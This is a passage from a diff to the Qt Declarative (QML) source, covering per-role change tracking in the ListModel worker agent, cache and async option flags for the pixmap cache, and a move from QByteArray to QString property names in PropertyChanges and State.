+void QDeclarativeListModelWorkerAgent::Data::changedChange(int index, int count, const QList<int> &roles)
 {
-    Change c = { Change::Changed, index, count, 0 };
+    Change c = { Change::Changed, index, count, 0, roles };
     changes << c;
 }
 
@@ -165,14 +165,18 @@ QScriptValue QDeclarativeListModelWorkerAgent::get(int index) const
 
 void QDeclarativeListModelWorkerAgent::set(int index, const QScriptValue &value)
 {
-    m_copy->set(index, value);
-    data.changedChange(index, 1);
+    QList<int> roles;
+    m_copy->set(index, value, &roles);
+    if (!roles.isEmpty())
+        data.changedChange(index, 1, roles);
 }
 
 void QDeclarativeListModelWorkerAgent::setProperty(int index, const QString& property, const QVariant& value)
 {
-    m_copy->setProperty(index, property, value);
-    data.changedChange(index, 1);
+    QList<int> roles;
+    m_copy->setProperty(index, property, value, &roles);
+    if (!roles.isEmpty())
+        data.changedChange(index, 1, roles);
 }
 
 void QDeclarativeListModelWorkerAgent::move(int from, int to, int count)
@@ -194,9 +198,9 @@ void QDeclarativeListModelWorkerAgent::sync()
     mutex.unlock();
 }
 
-void QDeclarativeListModelWorkerAgent::changedData(int index, int count)
+void QDeclarativeListModelWorkerAgent::changedData(int index, int count, const QList<int> &roles)
 {
-    data.changedChange(index, count);
+    data.changedChange(index, count, roles);
 }
 
 bool QDeclarativeListModelWorkerAgent::event(QEvent *e)
@@ -255,7 +259,7 @@ bool QDeclarativeListModelWorkerAgent::event(QEvent *e)
                     emit m_orig->itemsMoved(change.index, change.to, change.count);
                     break;
                 case Change::Changed:
-                    emit m_orig->itemsChanged(change.index, change.count, orig->m_roles.keys());
+                    emit m_orig->itemsChanged(change.index, change.count, change.roles);
                     break;
                 }
             }
diff --git a/src/declarative/util/qdeclarativelistmodelworkeragent_p.h b/src/declarative/util/qdeclarativelistmodelworkeragent_p.h
index fbe0195..4c800e9 100644
--- a/src/declarative/util/qdeclarativelistmodelworkeragent_p.h
+++ b/src/declarative/util/qdeclarativelistmodelworkeragent_p.h
@@ -124,6 +124,7 @@ private:
         int index; // Inserted/Removed/Moved/Changed
         int count; // Inserted/Removed/Moved/Changed
         int to;    // Moved
+        QList<int> roles;
     };
 
     struct Data {
@@ -133,7 +134,7 @@ private:
         void insertChange(int index, int count);
         void removeChange(int index, int count);
         void moveChange(int index, int count, int to);
-        void changedChange(int index, int count);
+        void changedChange(int index, int count, const QList<int> &roles);
     };
     Data data;
 
@@ -143,7 +144,7 @@ private:
         QDeclarativeListModel *list;
     };
 
-    void changedData(int index, int count);
+    void changedData(int index, int count, const QList<int> &roles);
 
     QAtomicInt m_ref;
     QDeclarativeListModel *m_orig;
diff --git a/src/declarative/util/qdeclarativeopenmetaobject.cpp b/src/declarative/util/qdeclarativeopenmetaobject.cpp
index 510a0c1..0ceda35 100644
--- a/src/declarative/util/qdeclarativeopenmetaobject.cpp
+++ b/src/declarative/util/qdeclarativeopenmetaobject.cpp
@@ -97,7 +97,6 @@ int QDeclarativeOpenMetaObjectType::createProperty(const QByteArray &name)
     int id = d->mob.propertyCount();
     d->mob.addSignal("__" + QByteArray::number(id) + "()");
     QMetaPropertyBuilder build = d->mob.addProperty(name, "QVariant", id);
-    build.setDynamic(true);
     propertyCreated(id, build);
     qFree(d->mem);
     d->mem = d->mob.toMetaObject();
diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp
index 1dd01f6..5190eab 100644
--- a/src/declarative/util/qdeclarativepixmapcache.cpp
+++ b/src/declarative/util/qdeclarativepixmapcache.cpp
@@ -959,20 +959,20 @@ QRect QDeclarativePixmap::rect() const
 
 void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url)
 {
-    load(engine, url, QSize(), false);
+    load(engine, url, QSize(), QDeclarativePixmap::Cache);
 }
 
-void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, bool async)
+void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, QDeclarativePixmap::Options options)
 {
-    load(engine, url, QSize(), async);
+    load(engine, url, QSize(), options);
 }
 
 void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &size)
 {
-    load(engine, url, size, false);
+    load(engine, url, size, QDeclarativePixmap::Cache);
 }
 
-void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, bool async)
+void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, QDeclarativePixmap::Options options)
 {
     if (d) { d->release(); d = 0; }
 
@@ -982,19 +982,20 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const
     QHash<QDeclarativePixmapKey, QDeclarativePixmapData *>::Iterator iter = store->m_cache.find(key);
 
     if (iter == store->m_cache.end()) {
-        if (async) {
+        if (options & QDeclarativePixmap::Asynchronous) {
             // pixmaps can only be loaded synchronously
             if (url.scheme() == QLatin1String("image") 
                     && QDeclarativeEnginePrivate::get(engine)->getImageProviderType(url) == QDeclarativeImageProvider::Pixmap) {
-                async = false;
+                options &= ~QDeclarativePixmap::Asynchronous;
             }
         }
 
-        if (!async) {
+        if (!(options & QDeclarativePixmap::Asynchronous)) {
             bool ok = false;
             d = createPixmapDataSync(engine, url, requestSize, &ok);
             if (ok) {
-                d->addToCache();
+                if (options & QDeclarativePixmap::Cache)
+                    d->addToCache();
                 return;
             }
             if (d)  // loadable, but encountered error while loading
@@ -1007,7 +1008,8 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const
         QDeclarativePixmapReader *reader = QDeclarativePixmapReader::instance(engine);
 
         d = new QDeclarativePixmapData(url, requestSize);
-        d->addToCache();
+        if (options & QDeclarativePixmap::Cache)
+            d->addToCache();
 
         d->reply = reader->getImage(d);
     } else {
diff --git a/src/declarative/util/qdeclarativepixmapcache_p.h b/src/declarative/util/qdeclarativepixmapcache_p.h
index f9ebf3b..1cf76dd 100644
--- a/src/declarative/util/qdeclarativepixmapcache_p.h
+++ b/src/declarative/util/qdeclarativepixmapcache_p.h
@@ -66,6 +66,12 @@ public:
 
     enum Status { Null, Ready, Error, Loading };
 
+    enum Option {
+        Asynchronous = 0x00000001,
+        Cache        = 0x00000002
+    };
+    Q_DECLARE_FLAGS(Options, Option)
+
     bool isNull() const;
     bool isReady() const;
     bool isError() const;
@@ -85,9 +91,9 @@ public:
     inline operator const QPixmap &() const;
 
     void load(QDeclarativeEngine *, const QUrl &);
-    void load(QDeclarativeEngine *, const QUrl &, bool);
+    void load(QDeclarativeEngine *, const QUrl &, QDeclarativePixmap::Options options);
     void load(QDeclarativeEngine *, const QUrl &, const QSize &);
-    void load(QDeclarativeEngine *, const QUrl &, const QSize &, bool);
+    void load(QDeclarativeEngine *, const QUrl &, const QSize &, QDeclarativePixmap::Options options);
 
     void clear();
     void clear(QObject *);
@@ -107,6 +113,8 @@ inline QDeclarativePixmap::operator const QPixmap &() const
     return pixmap();
 }
 
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativePixmap::Options)
+
 QT_END_NAMESPACE
 
 QT_END_HEADER
diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp
index 1c5d463..9bcb263 100644
--- a/src/declarative/util/qdeclarativepropertychanges.cpp
+++ b/src/declarative/util/qdeclarativepropertychanges.cpp
@@ -42,6 +42,9 @@
 #include "private/qdeclarativepropertychanges_p.h"
 
 #include "private/qdeclarativeopenmetaobject_p.h"
+#include "private/qdeclarativerewrite_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativecompiler_p.h"
 
 #include <qdeclarativeinfo.h>
 #include <qdeclarativecustomparser_p.h>
@@ -217,11 +220,22 @@ public:
 
     void decode();
 
-    QList<QPair<QByteArray, QVariant> > properties;
-    QList<QPair<QByteArray, QDeclarativeExpression *> > expressions;
+    class ExpressionChange {
+    public:
+        ExpressionChange(const QString &_name,
+                         QDeclarativeBinding::Identifier _id,
+                         QDeclarativeExpression *_expr)
+            : name(_name), id(_id), expression(_expr) {}
+        QString name;
+        QDeclarativeBinding::Identifier id;
+        QDeclarativeExpression *expression;
+    };
+
+    QList<QPair<QString, QVariant> > properties;
+    QList<ExpressionChange> expressions;
     QList<QDeclarativeReplaceSignalHandler*> signalReplacements;
 
-    QDeclarativeProperty property(const QByteArray &);
+    QDeclarativeProperty property(const QString &);
 };
 
 void
@@ -267,6 +281,7 @@ QDeclarativePropertyChangesParser::compile(const QList<QDeclarativeCustomParserP
         QDeclarativeParser::Variant v = qvariant_cast<QDeclarativeParser::Variant>(data.at(ii).second);
         QVariant var;
         bool isScript = v.isScript();
+        QDeclarativeBinding::Identifier id = 0;
         switch(v.type()) {
         case QDeclarativeParser::Variant::Boolean:
             var = QVariant(v.asBoolean());
@@ -280,10 +295,17 @@ QDeclarativePropertyChangesParser::compile(const QList<QDeclarativeCustomParserP
         case QDeclarativeParser::Variant::Invalid:
         case QDeclarativeParser::Variant::Script:
             var = QVariant(v.asScript());
+            {
+                // Pre-rewrite the expression
+                QString expression = v.asScript();
+                id = rewriteBinding(expression, data.at(ii).first); //### recreates the AST, which is slow
+            }
             break;
         }
 
-        ds << data.at(ii).first << isScript << var;
+        ds << QString::fromUtf8(data.at(ii).first) << isScript << var;
+        if (isScript)
+            ds << id;
     }
 
     return rv;
@@ -300,12 +322,15 @@ void QDeclarativePropertyChangesPrivate::decode()
     int count;
     ds >> count;
     for (int ii = 0; ii < count; ++ii) {
-        QByteArray name;
+        QString name;
         bool isScript;
         QVariant data;
+        QDeclarativeBinding::Identifier id = QDeclarativeBinding::Invalid;
         ds >> name;
         ds >> isScript;
         ds >> data;
+        if (isScript)
+            ds >> id;
 
         QDeclarativeProperty prop = property(name);      //### better way to check for signal property?
         if (prop.type() & QDeclarativeProperty::SignalProperty) {
@@ -322,7 +347,7 @@ void QDeclarativePropertyChangesPrivate::decode()
             QDeclarativeData *ddata = QDeclarativeData::get(q);
             if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty())
                 expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber);
-            expressions << qMakePair(name, expression);
+            expressions << ExpressionChange(name, id, expression);
         } else {
             properties << qMakePair(name, data);
         }
@@ -350,7 +375,7 @@ QDeclarativePropertyChanges::~QDeclarativePropertyChanges()
 {
     Q_D(QDeclarativePropertyChanges);
     for(int ii = 0; ii < d->expressions.count(); ++ii)
-        delete d->expressions.at(ii).second;
+        delete d->expressions.at(ii).expression;
     for(int ii = 0; ii < d->signalReplacements.count(); ++ii)
         delete d->signalReplacements.at(ii);
 }
@@ -389,15 +414,15 @@ void QDeclarativePropertyChanges::setRestoreEntryValues(bool v)
 }
 
 QDeclarativeProperty
-QDeclarativePropertyChangesPrivate::property(const QByteArray &property)
+QDeclarativePropertyChangesPrivate::property(const QString &property)
 {
     Q_Q(QDeclarativePropertyChanges);
-    QDeclarativeProperty prop(object, QString::fromUtf8(property), qmlContext(q));
+    QDeclarativeProperty prop(object, property, qmlContext(q));
     if (!prop.isValid()) {
-        qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to non-existent property \"%1\"").arg(QString::fromUtf8(property));
+        qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to non-existent property \"%1\"").arg(property);
         return QDeclarativeProperty();
     } else if (!(prop.type() & QDeclarativeProperty::SignalProperty) && !prop.isWritable()) {
-        qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to read-only property \"%1\"").arg(QString::fromUtf8(property));
+        qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to read-only property \"%1\"").arg(property);
         return QDeclarativeProperty();
     }
     return prop;
@@ -413,9 +438,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions()
 
     for (int ii = 0; ii < d->properties.count(); ++ii) {
 
-        QByteArray property = d->properties.at(ii).first;
-
-        QDeclarativeAction a(d->object, QString::fromUtf8(property),
+        QDeclarativeAction a(d->object, d->properties.at(ii).first,
                  qmlContext(this), d->properties.at(ii).second);
 
         if (a.property.isValid()) {
@@ -437,7 +460,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions()
 
     for (int ii = 0; ii < d->expressions.count(); ++ii) {
 
-        QByteArray property = d->expressions.at(ii).first;
+        const QString &property = d->expressions.at(ii).name;
         QDeclarativeProperty prop = d->property(property);
 
         if (prop.isValid()) {
@@ -446,16 +469,20 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions()
             a.property = prop;
             a.fromValue = a.property.read();
             a.specifiedObject = d->object;
-            a.specifiedProperty = QString::fromUtf8(property);
+            a.specifiedProperty = property;
 
             if (d->isExplicit) {
-                a.toValue = d->expressions.at(ii).second->evaluate();
+                a.toValue = d->expressions.at(ii).expression->evaluate();
             } else {
-                QDeclarativeExpression *e = d->expressions.at(ii).second;
-                QDeclarativeBinding *newBinding = 
-                    new QDeclarativeBinding(e->expression(), object(), qmlContext(this));
+                QDeclarativeExpression *e = d->expressions.at(ii).expression;
+
+                QDeclarativeBinding::Identifier id = d->expressions.at(ii).id;
+                QDeclarativeBinding *newBinding = id != QDeclarativeBinding::Invalid ? QDeclarativeBinding::createBinding(id, object(), qmlContext(this), e->sourceFile(), e->lineNumber()) : 0;
+                if (!newBinding) {
+                    newBinding = new QDeclarativeBinding(e->expression(), object(), qmlContext(this));
+                    newBinding->setSourceLocation(e->sourceFile(), e->lineNumber());
+                }
                 newBinding->setTarget(prop);
-                newBinding->setSourceLocation(e->sourceFile(), e->lineNumber());
                 a.toBinding = newBinding;
                 a.deletableToBinding = true;
             }
@@ -498,10 +525,10 @@ void QDeclarativePropertyChanges::setIsExplicit(bool e)
     d->isExplicit = e;
 }
 
-bool QDeclarativePropertyChanges::containsValue(const QByteArray &name) const
+bool QDeclarativePropertyChanges::containsValue(const QString &name) const
 {
     Q_D(const QDeclarativePropertyChanges);
-    typedef QPair<QByteArray, QVariant> PropertyEntry;
+    typedef QPair<QString, QVariant> PropertyEntry;
 
     QListIterator<PropertyEntry> propertyIterator(d->properties);
     while (propertyIterator.hasNext()) {
@@ -514,15 +541,15 @@ bool QDeclarativePropertyChanges::containsValue(const QByteArray &name) const
     return false;
 }
 
-bool QDeclarativePropertyChanges::containsExpression(const QByteArray &name) const
+bool QDeclarativePropertyChanges::containsExpression(const QString &name) const
 {
     Q_D(const QDeclarativePropertyChanges);
-    typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+    typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
 
     QListIterator<ExpressionEntry> expressionIterator(d->expressions);
     while (expressionIterator.hasNext()) {
         const ExpressionEntry &entry = expressionIterator.next();
-        if (entry.first == name) {
+        if (entry.name == name) {
             return true;
         }
     }
@@ -530,21 +557,21 @@ bool QDeclarativePropertyChanges::containsExpression(const QByteArray &name) con
     return false;
 }
 
-bool QDeclarativePropertyChanges::containsProperty(const QByteArray &name) const
+bool QDeclarativePropertyChanges::containsProperty(const QString &name) const
 {
     return containsValue(name) || containsExpression(name);
 }
 
-void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVariant &value)
+void QDeclarativePropertyChanges::changeValue(const QString &name, const QVariant &value)
 {
     Q_D(QDeclarativePropertyChanges);
-    typedef QPair<QByteArray, QVariant> PropertyEntry;
-    typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+    typedef QPair<QString, QVariant> PropertyEntry;
+    typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
 
     QMutableListIterator<ExpressionEntry> expressionIterator(d->expressions);
     while (expressionIterator.hasNext()) {
         const ExpressionEntry &entry = expressionIterator.next();
-        if (entry.first == name) {
+        if (entry.name == name) {
             expressionIterator.remove();
             if (state() && state()->isStateActive()) {
                 QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name));
@@ -576,7 +603,7 @@ void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVar
     action.property = d->property(name);
     action.fromValue = action.property.read();
     action.specifiedObject = object();
-    action.specifiedProperty = QString::fromUtf8(name);
+    action.specifiedProperty = name;
     action.toValue = value;
 
     propertyIterator.insert(PropertyEntry(name, value));
@@ -589,11 +616,11 @@ void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVar
     }
 }
 
-void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const QString &expression)
+void QDeclarativePropertyChanges::changeExpression(const QString &name, const QString &expression)
 {
     Q_D(QDeclarativePropertyChanges);
-    typedef QPair<QByteArray, QVariant> PropertyEntry;
-    typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+    typedef QPair<QString, QVariant> PropertyEntry;
+    typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
 
     bool hadValue = false;
 
@@ -610,8 +637,8 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const
     QMutableListIterator<ExpressionEntry> expressionIterator(d->expressions);
     while (expressionIterator.hasNext()) {
         const ExpressionEntry &entry = expressionIterator.next();
-        if (entry.first == name) {
-            entry.second->setExpression(expression);
+        if (entry.name == name) {
+            entry.expression->setExpression(expression);
             if (state() && state()->isStateActive()) {
                 QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name));
                 if (oldBinding) {
@@ -628,7 +655,7 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const
     }
 
     QDeclarativeExpression *newExpression = new QDeclarativeExpression(qmlContext(this), d->object, expression);
-    expressionIterator.insert(ExpressionEntry(name, newExpression));
+    expressionIterator.insert(ExpressionEntry(name, QDeclarativeBinding::Invalid, newExpression));
 
     if (state() && state()->isStateActive()) {
         if (hadValue) {
@@ -647,7 +674,7 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const
             action.property = d->property(name);
             action.fromValue = action.property.read();
             action.specifiedObject = object();
-            action.specifiedProperty = QString::fromUtf8(name);
+            action.specifiedProperty = name;
 
 
             if (d->isExplicit) {
@@ -670,11 +697,11 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const
     // what about the signal handler?
 }
 
-QVariant QDeclarativePropertyChanges::property(const QByteArray &name) const
+QVariant QDeclarativePropertyChanges::property(const QString &name) const
 {
     Q_D(const QDeclarativePropertyChanges);
-    typedef QPair<QByteArray, QVariant> PropertyEntry;
-    typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+    typedef QPair<QString, QVariant> PropertyEntry;
+    typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
 
     QListIterator<PropertyEntry> propertyIterator(d->properties);
     while (propertyIterator.hasNext()) {
@@ -687,24 +714,24 @@ QVariant QDeclarativePropertyChanges::property(const QByteArray &name) const
     QListIterator<ExpressionEntry> expressionIterator(d->expressions);
     while (expressionIterator.hasNext()) {
         const ExpressionEntry &entry = expressionIterator.next();
-        if (entry.first == name) {
-            return QVariant(entry.second->expression());
+        if (entry.name == name) {
+            return QVariant(entry.expression->expression());
         }
     }
 
     return QVariant();
 }
 
-void QDeclarativePropertyChanges::removeProperty(const QByteArray &name)
+void QDeclarativePropertyChanges::removeProperty(const QString &name)
 {
     Q_D(QDeclarativePropertyChanges);
-    typedef QPair<QByteArray, QVariant> PropertyEntry;
-    typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+    typedef QPair<QString, QVariant> PropertyEntry;
+    typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
 
     QMutableListIterator<ExpressionEntry> expressionIterator(d->expressions);
     while (expressionIterator.hasNext()) {
         const ExpressionEntry &entry = expressionIterator.next();
-        if (entry.first == name) {
+        if (entry.name == name) {
             expressionIterator.remove();
             state()->removeEntryFromRevertList(object(), name);
             return;
@@ -722,10 +749,10 @@ void QDeclarativePropertyChanges::removeProperty(const QByteArray &name)
     }
 }
 
-QVariant QDeclarativePropertyChanges::value(const QByteArray &name) const
+QVariant QDeclarativePropertyChanges::value(const QString &name) const
 {
     Q_D(const QDeclarativePropertyChanges);
-    typedef QPair<QByteArray, QVariant> PropertyEntry;
+    typedef QPair<QString, QVariant> PropertyEntry;
 
     QListIterator<PropertyEntry> propertyIterator(d->properties);
     while (propertyIterator.hasNext()) {
@@ -738,16 +765,16 @@ QVariant QDeclarativePropertyChanges::value(const QByteArray &name) const
     return QVariant();
 }
 
-QString QDeclarativePropertyChanges::expression(const QByteArray &name) const
+QString QDeclarativePropertyChanges::expression(const QString &name) const
 {
     Q_D(const QDeclarativePropertyChanges);
-    typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+    typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
 
     QListIterator<ExpressionEntry> expressionIterator(d->expressions);
     while (expressionIterator.hasNext()) {
         const ExpressionEntry &entry = expressionIterator.next();
-        if (entry.first == name) {
-            return entry.second->expression();
+        if (entry.name == name) {
+            return entry.expression->expression();
         }
     }
 
diff --git a/src/declarative/util/qdeclarativepropertychanges_p.h b/src/declarative/util/qdeclarativepropertychanges_p.h
index aa57657..09e3a16 100644
--- a/src/declarative/util/qdeclarativepropertychanges_p.h
+++ b/src/declarative/util/qdeclarativepropertychanges_p.h
@@ -75,19 +75,19 @@ public:
 
     virtual ActionList actions();
 
-    bool containsProperty(const QByteArray &name) const;
-    bool containsValue(const QByteArray &name) const;
-    bool containsExpression(const QByteArray &name) const;
-    void changeValue(const QByteArray &name, const QVariant &value);
-    void changeExpression(const QByteArray &name, const QString &expression);
-    void removeProperty(const QByteArray &name);
-    QVariant value(const QByteArray &name) const;
-    QString expression(const QByteArray &name) const;
+    bool containsProperty(const QString &name) const;
+    bool containsValue(const QString &name) const;
+    bool containsExpression(const QString &name) const;
+    void changeValue(const QString &name, const QVariant &value);
+    void changeExpression(const QString &name, const QString &expression);
+    void removeProperty(const QString &name);
+    QVariant value(const QString &name) const;
+    QString expression(const QString &name) const;
 
     void detachFromState();
     void attachToState();
 
-    QVariant property(const QByteArray &name) const;
+    QVariant property(const QString &name) const;
 };
 
 class QDeclarativePropertyChangesParser : public QDeclarativeCustomParser
diff --git a/src/declarative/util/qdeclarativespringanimation.cpp b/src/declarative/util/qdeclarativespringanimation.cpp
index ec2b083..1212a1c 100644
--- a/src/declarative/util/qdeclarativespringanimation.cpp
+++ b/src/declarative/util/qdeclarativespringanimation.cpp
@@ -236,7 +236,7 @@ void QDeclarativeSpringAnimationPrivate::updateMode()
 /*!
     \qmlclass SpringAnimation QDeclarativeSpringAnimation
     \ingroup qml-animation-transition
-    \inherits Animation
+    \inherits NumberAnimation
     \since 4.7
 
     \brief The SpringAnimation element allows a property to track a value in a spring-like motion.
diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp
index bb1a0b8..5a4e2b1 100644
--- a/src/declarative/util/qdeclarativestate.cpp
+++ b/src/declarative/util/qdeclarativestate.cpp
@@ -66,7 +66,7 @@ QDeclarativeAction::QDeclarativeAction()
 QDeclarativeAction::QDeclarativeAction(QObject *target, const QString &propertyName,
                const QVariant &value)
 : restore(true), actionDone(false), reverseEvent(false), deletableToBinding(false), 
-  property(target, propertyName), toValue(value), 
+  property(target, propertyName, qmlEngine(target)), toValue(value),
   fromBinding(0), event(0),
   specifiedObject(target), specifiedProperty(propertyName)
 {
@@ -216,15 +216,18 @@ bool QDeclarativeState::isWhenKnown() const
 
     \snippet doc/src/snippets/declarative/state-when.qml 0
 
-    If multiple states in a group have \c when clauses that evaluate to \c true at the same time,
-    the first matching state will be applied. For example, in the following snippet
-    \c state1 will always be selected rather than \c state2 when sharedCondition becomes
-    \c true.
+    If multiple states in a group have \c when clauses that evaluate to \c true
+    at the same time, the first matching state will be applied. For example, in
+    the following snippet \c state1 will always be selected rather than
+    \c state2 when sharedCondition becomes \c true.
     \qml
-    states: [
-        State { name: "state1"; when: sharedCondition },
-        State { name: "state2"; when: sharedCondition }
-    ]
+    Item {
+        states: [
+            State { name: "state1"; when: sharedCondition },
+            State { name: "state2"; when: sharedCondition }
+        ]
+        // ...
+    }
     \endqml
 */
 QDeclarativeBinding *QDeclarativeState::when() const
@@ -370,7 +373,7 @@ void QDeclarativeAction::deleteFromBinding()
     }
 }
 
-bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByteArray &name) const
+bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QString &name) const
 {
     Q_D(const QDeclarativeState);
 
@@ -379,7 +382,7 @@ bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByt
 
         while (revertListIterator.hasNext()) {
             const QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
-            if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name)
+            if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name)
                 return true;
         }
     }
@@ -387,7 +390,7 @@ bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByt
     return false;
 }
 
-bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArray &name, const QVariant &revertValue)
+bool QDeclarativeState::changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue)
 {
     Q_D(QDeclarativeState);
 
@@ -396,7 +399,7 @@ bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArra
 
         while (revertListIterator.hasNext()) {
             QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
-            if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) {
+            if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) {
                     simpleAction.setValue(revertValue);
                     return true;
             }
@@ -406,7 +409,7 @@ bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArra
     return false;
 }
 
-bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteArray &name, QDeclarativeAbstractBinding *binding)
+bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding)
 {
     Q_D(QDeclarativeState);
 
@@ -415,7 +418,7 @@ bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteAr
 
         while (revertListIterator.hasNext()) {
             QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
-            if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) {
+            if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) {
                 if (simpleAction.binding())
                     simpleAction.binding()->destroy();
 
@@ -428,7 +431,7 @@ bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteAr
     return false;
 }
 
-bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QByteArray &name)
+bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QString &name)
 {
     Q_D(QDeclarativeState);
 
@@ -437,7 +440,7 @@ bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QByteAr
 
         while (revertListIterator.hasNext()) {
             QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
-            if (simpleAction.property().object() == target && simpleAction.property().name().toUtf8() == name) {
+            if (simpleAction.property().object() == target && simpleAction.property().name() == name) {
                 QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(simpleAction.property());
                 if (oldBinding) {
                     QDeclarativePropertyPrivate::setBinding(simpleAction.property(), 0);
@@ -517,7 +520,7 @@ void QDeclarativeState::addEntriesToRevertList(const QList<QDeclarativeAction> &
     }
 }
 
-QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray &name) const
+QVariant QDeclarativeState::valueInRevertList(QObject *target, const QString &name) const
 {
     Q_D(const QDeclarativeState);
 
@@ -526,7 +529,7 @@ QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray
 
         while (revertListIterator.hasNext()) {
             const QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
-            if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name)
+            if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name)
                 return simpleAction.value();
         }
     }
@@ -534,7 +537,7 @@ QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray
     return QVariant();
 }
 
-QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *target, const QByteArray &name) const
+QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *target, const QString &name) const
 {
     Q_D(const QDeclarativeState);
 
@@ -543,7 +546,7 @@ QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *tar
 
         while (revertListIterator.hasNext()) {
             const QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
-            if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name)
+            if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name)
                 return simpleAction.binding();
         }
     }
diff --git a/src/declarative/util/qdeclarativestate_p.h b/src/declarative/util/qdeclarativestate_p.h
index 4a0b4ff..60d0e0b 100644
--- a/src/declarative/util/qdeclarativestate_p.h
+++ b/src/declarative/util/qdeclarativestate_p.h
@@ -45,7 +45,7 @@
 #include <qdeclarative.h>
 #include <qdeclarativeproperty.h>
 #include <QtCore/qobject.h>
-#include <private/qdeclarativebinding_p.h>
+#include <QtCore/qsharedpointer.h>
 #include <private/qdeclarativeglobal_p.h>
 
 QT_BEGIN_HEADER
@@ -76,7 +76,7 @@ public:
     QVariant toValue;
 
     QDeclarativeAbstractBinding *fromBinding;
-    QDeclarativeAbstractBinding::Pointer toBinding;
+    QWeakPointer<QDeclarativeAbstractBinding> toBinding;
     QDeclarativeActionEvent *event;
 
     //strictly for matching
@@ -180,15 +180,15 @@ public:
     QDeclarativeStateGroup *stateGroup() const;
     void setStateGroup(QDeclarativeStateGroup *);
 
